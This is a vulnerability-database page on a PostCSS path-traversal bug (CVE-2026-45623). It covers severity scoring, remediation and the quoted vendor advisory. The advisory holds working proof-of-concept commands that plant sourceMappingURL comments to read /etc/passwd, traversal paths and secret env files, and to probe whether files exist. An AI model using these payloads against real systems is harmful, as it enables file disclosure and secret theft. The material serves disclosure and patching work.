Skip to main content

PostCSS CVE-2026-45623

| EUVDEUVD-2026-49376 CRITICAL
Path Traversal (CWE-22)
2026-07-23 https://github.com/postcss/postcss GHSA-6g55-p6wh-862q
Critical
Disputed · 9.1 NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit untrusted CSS with crafted sourceMappingURL comment
  2. Delivery
    PostCSS loadFile reads absolute or ../ traversal path
  3. Exploit
    SourceMapConsumer runs JSON.parse on non-JSON bytes
  4. Execution
    SyntaxError surfaced to attacker leaks first ~10 bytes
  5. Impact
    Repeat to fingerprint files and recover secret prefixes

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The filesystem read triggers under PostCSS default options - no from, no map, no plugins - so the only hard prerequisite is that attacker-controlled CSS reaches postcss().process(); the attacker embeds `/*

sourceMappingURL=<path> */ where the path is an absolute path (used verbatim when from is unset) or a ../ traversal sequence (which escapes even when from pins a base directory, because path.join does not block ..). What LIMITS real impact: the ~10-byte information leak is only observable if the application surfaces the PostCSS/JSON.parse SyntaxError back to the attacker (HTTP 500 body, attacker-readable build/CI logs, or debug pages) - without that echo the read still happens but nothing is exfiltrated; the disclosure is bounded to roughly the first 10 bytes per file; the DoS variant requires targeting device/large files (e.g. /dev/zero, /proc/kcore); and the entire class is disabled by the explicit { map: false }` option.

Impact

Signals are mixed and should be weighed rather than taken at face value. The CVSS 3.1 base is 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H), reflecting an unauthenticated, low-complexity, network-reachable primitive in a hugely deployed library, and SSVC marks it Automatable=yes with POC-stage exploitation - a real triage priority for anyone running untrusted CSS. However, EPSS is only 0.50% (40th percentile) and the CVE is not in CISA KEV, indicating no observed mass exploitation. Two caveats temper the raw score: (1) the confidentiality impact is practically bounded to ~10 bytes per targeted file via the error message, so C:H overstates single-request loss even though the oracle plus repetition raises the aggregate; (2) exploiting the disclosure channel depends on the host application actually surfacing PostCSS error text to the attacker (logs, HTTP 500, debug pages) - the file read always fires, but the exfiltration does not. The A:H (DoS) rests on the attacker being able to point the synchronous read at device/large files such as /dev/zero. Net: a genuine, easily automated file-read/recon bug in ubiquitous software, but real-world confidentiality impact is gated by whether errors are echoed back.

Exploit ScenarioDerived

A multi-tenant CMS lets users upload custom theme CSS, which the server runs through postcss().process() during rendering. An attacker uploads CSS ending in `/*

sourceMappingURL=/proc/self/environ */`; PostCSS reads the file, JSON.parse fails, and the SyntaxError - surfaced on a 500 page or in an attacker-viewable build log - leaks the first ~10 bytes of the environment/secret. Because publicly available exploit code exists and the network attack requires no authentication or user interaction, the attacker can script repeated requests to enumerate and fingerprint files via the existence oracle.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 07, 2026

Arbitrary file read in PostCSS (npm postcss <= 8.5.11) lets an attacker who controls CSS input embed a `/*

sourceMappingURL=PATH */ comment that the PreviousMap parser dereferences directly against the local filesystem with no scheme, allowlist, or traversal check. Because the read fires under default options (no from, map, or plugins), any pipeline that processes untrusted CSS is reachable; when the resulting JSON.parse` SyntaxError is surfaced to the caller it leaks roughly the first 10 bytes of the targeted file, and the same code path yields a file-existence oracle and a DoS primitive. Publicly available exploit code exists (POC), but there is no public evidence of active exploitation, and EPSS is low at 0.50% (40th percentile).

Earlier versions of this analysis (1)
v1 Jul 23, 2026 - 15:36 CVSS 7.5

Arbitrary file read and information disclosure in PostCSS (npm 'postcss') versions <= 8.5.11 allows an attacker who controls CSS input to make the Node host read any file readable by the process and leak its first ~10 bytes. PostCSS's PreviousMap dereferences the path in a /*

sourceMappingURL=PATH */ comment against the local filesystem with no scheme, allowlist, or traversal checks, and the read fires under default options (no 'from', no 'map', no plugins). Publicly available exploit code exists (full PoC in the GHSA advisory); there is no evidence of active exploitation, and no EPSS/KEV data was provided.

RemediationAI

Vendor-released patch: 8.5.12 - upgrade the postcss dependency (including transitive copies pinned by build tools) to 8.5.12 or later; the fix (commits aaec7b78b3ce2792585b4b300ef1bd5dd5b3e8ad and c64b7488d2731dfa16213739b42c34faf5a9eba3) wraps the loaded file in a JSON.parse guard so non-JSON on-disk content no longer propagates its bytes through the SourceMapConsumer error. If you cannot upgrade immediately, pass { map: false } to process() to short-circuit the PreviousMap constructor entirely - note this also disables legitimate in-memory previous-map handling, so pipelines relying on source maps lose that feature. As additional compensating controls for untrusted-CSS pipelines: stop returning raw PostCSS/exception text to end users (route errors to server-side logs only) to close the ~10-byte disclosure and oracle channels, and strip or reject `/*

sourceMappingURL= */` comments from user-supplied CSS before processing. See the advisory at https://github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q and the release notes at https://github.com/postcss/postcss/releases/tag/8.5.12.

Affected VersionsENISA

postcss < 8.5.12

Affected Packages

npm postcss fix: 8.5.12

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PostCSS is the de-facto CSS transformation engine behind webpack (postcss-loader), Vite, Parcel, Next.js, Gatsby, CSS Modules tooling, and many minifiers/theme processors. The flaw is a classic CWE-22 path traversal in source-map annotation handling: lib/previous-map.js extracts the sourceMappingURL via getAnnotationURL without normalisation, and loadMap passes it to loadFile, which calls existsSync/readFileSync on the raw path. With opts.from unset the attacker path (e.g. /etc/passwd) is used verbatim; with opts.from set, path.join(dirname(from), attackerPath) still permits ../ escape because path.join does not block traversal. The only short-circuit is the explicit, non-obvious opts.map === false. The disclosure channel is incidental: the loaded bytes are fed to source-map-js' SourceMapConsumer, and V8's JSON.parse SyntaxError embeds the leading file bytes in its message.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Sources disagree (Medium–Critical)
NVD PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
vuln.today AI 9.1 CRITICAL

Untrusted CSS is typically attacker-supplied over the network (AV:N) with no auth or interaction and default-on behaviour (AC:L/PR:N/UI:N); arbitrary file-byte disclosure is C:H, no integrity impact (I:N), and synchronous reads of device/large files give A:H.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE 5.3 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Red Hat 7.5 MEDIUM

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
High

Lifecycle Timeline

4
Analysis Updated
Aug 07, 2026 - 00:29 vuln.today
v2 - CVSS changed
Severity Changed
Aug 07, 2026 - 00:22 NVD
HIGH CRITICAL
CVSS changed
Aug 07, 2026 - 00:22 NVD
7.5 (HIGH) 9.1 (CRITICAL)
CVE Published
Jul 23, 2026 - 15:06 github-advisory
HIGH 7.5

DescriptionNVD

Summary

PostCSS's PreviousMap parses the `/*

sourceMappingURL=PATH */ comment from any CSS string passed to process() and dereferences PATH against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting JSON.parse SyntaxError message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options - no from, no map`, no plugins required - and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).

Details

The dangerous chain lives in lib/previous-map.js and is wired into every Input construction at lib/input.js:70-77.

Input constructor (lib/input.js:70-77):

js
if (pathAvailable && sourceMapAvailable) {
  let map = new PreviousMap(this.css, opts)
  if (map.text) {
    this.map = map
    let file = map.consumer().file
    if (!this.file && file) this.file = this.mapResolve(file)
  }
}

PreviousMap constructor (lib/previous-map.js:17-29):

js
constructor(css, opts) {
  if (opts.map === false) return
  this.loadAnnotation(css)
  this.inline = this.startWith(this.annotation, 'data:')

  let prev = opts.map ? opts.map.prev : undefined
  let text = this.loadMap(opts.from, prev)
  ...
}

Note opts.map = false is the only short-circuit. With default options (opts.map = undefined), the rest of the constructor - including the filesystem read - executes.

loadAnnotation (lib/previous-map.js:72-84) extracts the URL without sanitisation:

js
loadAnnotation(css) {
  let comments = css.match(/\/\*\s*
# sourceMappingURL=/g)
  if (!comments) return
  let start = css.lastIndexOf(comments.pop())
  let end = css.indexOf('*/', start)
  if (start > -1 && end > -1) {
    this.annotation = this.getAnnotationURL(css.substring(start, end))
  }
}

getAnnotationURL (lib/previous-map.js:59-61) only strips the `/*

sourceMappingURL=` prefix and trims whitespace - no scheme check, no path normalisation, no allowlist.

loadMap (lib/previous-map.js:124-128) - when prev is absent and the annotation is not an inline data: URI:

js
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)
  return this.loadFile(map)
}
  • If opts.from is unset, file is undefined and the raw attacker-supplied path (e.g. /etc/passwd) is used directly.
  • If opts.from is set, path.join(dirname(file), attackerPath) is used. path.join does not block .. segments, so ../../../../../etc/passwd resolves outside the intended directory.

loadFile (lib/previous-map.js:86-92) is the sink:

js
loadFile(path) {
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

The bytes are stored in this.text. Input immediately invokes map.consumer() (lib/input.js:74), which constructs a SourceMapConsumer (lib/previous-map.js:33). When the file is not valid source-map JSON (the common case), source-map-js calls JSON.parse, and V8's SyntaxError message embeds the first ~10 bytes of the file content:

Unexpected token 'r', "root:x:0:0"... is not valid JSON

This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.

Trust-boundary analysis:

  • Attacker controls: CSS input passed to postcss().process(css, opts?).
  • Server resources: any file readable by the Node process - typically including app config, environment files, SSH keys, /etc/passwd, /proc/self/environ, etc.
  • No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (startWith(annotation, 'data:')) routes inline URIs to decodeInline; everything else hits loadFile.

Primitives obtained:

  • (a) Arbitrary file read - bytes loaded into Node memory.
  • (b) Information disclosure - first ~10 bytes leaked via JSON.parse SyntaxError message.
  • (c) File-existence oracle - non-existent paths return silently from loadFile (existsSync is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.
  • (d) DoS primitive - directing the read at /dev/zero, very large files, or device files can stall or crash the process.

PoC

All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.

Vector 1 - Absolute path, default options (no from, no map):

bash
$ node -e 'const p=require("postcss"); \
  try { p().process("a{color:red}\n/*
# sourceMappingURL=/etc/passwd */"); } \
  catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON

The first 10 bytes of /etc/passwd (root:x:0:0) are leaked.

Vector 2 - Relative .. traversal with opts.from set (simulates a build pipeline that pins from to the source file):

bash
$ node -e 'const p=require("postcss"); \
  p().process("a{color:red}\n/*
# sourceMappingURL=../../../../../etc/passwd */", \
              {from:"/var/www/html/styles/main.css", map:{inline:false}}) \
   .catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON

path.join('/var/www/html/styles', '../../../../../etc/passwd') resolves to /etc/passwd.

Vector 3 - File-existence oracle:

bash
# Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*
# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON
# Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*
# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok

Vector 4 - Custom file-content leak:

bash
$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*
# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON

The first 10 bytes of /tmp/server-secret.env (API_KEY=sk) are leaked - sufficient to confirm a token's presence and, in many cases, recover its prefix.

Filesystem-call trace (proves the read happens with no opts at all):

js
const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
  if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
  return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*
# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON

Impact

  • Arbitrary file read of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack postcss-loader, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS - CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines - is exposed.
  • Confidentiality leak of the first ~10 bytes of the targeted file via JSON.parse SyntaxError. This is enough to recover SSH-key headers, environment-variable prefixes (API_KEY=sk…), /etc/passwd records, the start of /proc/self/environ, and other high-value secrets, and to fingerprint the host (Debian-tri… from /etc/hostname).
  • File-existence oracle with three distinguishable response states (silent success, JSON.parse error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.
  • DoS by targeting /dev/zero, /proc/kcore, very large files, or named pipes - readFileSync is a synchronous, unbounded read.
  • Default-on: triggered with postcss().process(css) and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose { map: false }.

Recommended Fix

The root cause is that loadFile accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:

  1. Refuse traversal/absolute paths in loadMap (defence-in-depth):
js
   // lib/previous-map.js
   loadMap(file, prev) {
     if (prev === false) return false
     if (prev) { /* unchanged */ }
     else if (this.inline) {
       return this.decodeInline(this.annotation)
     } else if (this.annotation) {
       let annotation = this.annotation
       // Reject schemes (other than data:, handled above) and absolute paths.
       if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
       if (require('path').isAbsolute(annotation)) return
       if (!file) return  // No base path → cannot safely resolve.
       const base = require('path').resolve(require('path').dirname(file))
       const resolved = require('path').resolve(base, annotation)
       // Refuse anything that escapes the base directory.
       if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
         return
       }
       return this.loadFile(resolved)
     }
   }
  1. Require explicit opt-in to follow on-disk source-map annotations: gate the loadFile(map) call in loadMap behind an option such as opts.map.annotation = true or opts.map.followAnnotation = true. Today, the only way to opt out is { map: false }, which also disables in-memory previous-map handling. Inverting the default - only follow disk-resident annotations when explicitly asked - eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.

A user-facing changelog entry should warn that postcss().process(untrustedCss) previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 48 npm packages depend on postcss (19 direct, 29 indirect)

Ecosystem-wide dependent count for version 8.5.12.

Executive ViewAI

Why It Matters

PostCSS versions 8.5.11 and earlier allow attackers to read arbitrary files and trigger denial-of-service through malicious CSS comments, potentially exposing sensitive configuration and credential files. Although publicly available exploit code exists, active exploitation remains rare (0.5% EPSS) and a vendor patch is available. Organizations should immediately inventory and patch affected systems, prioritizing applications processing untrusted CSS input.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.5%
Top 60% exploitable
Prevalence
Ubiquitous
standard CSS processor across major JS build tools, hundreds of millions of weekly downloads
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA MSRC Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Affected
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy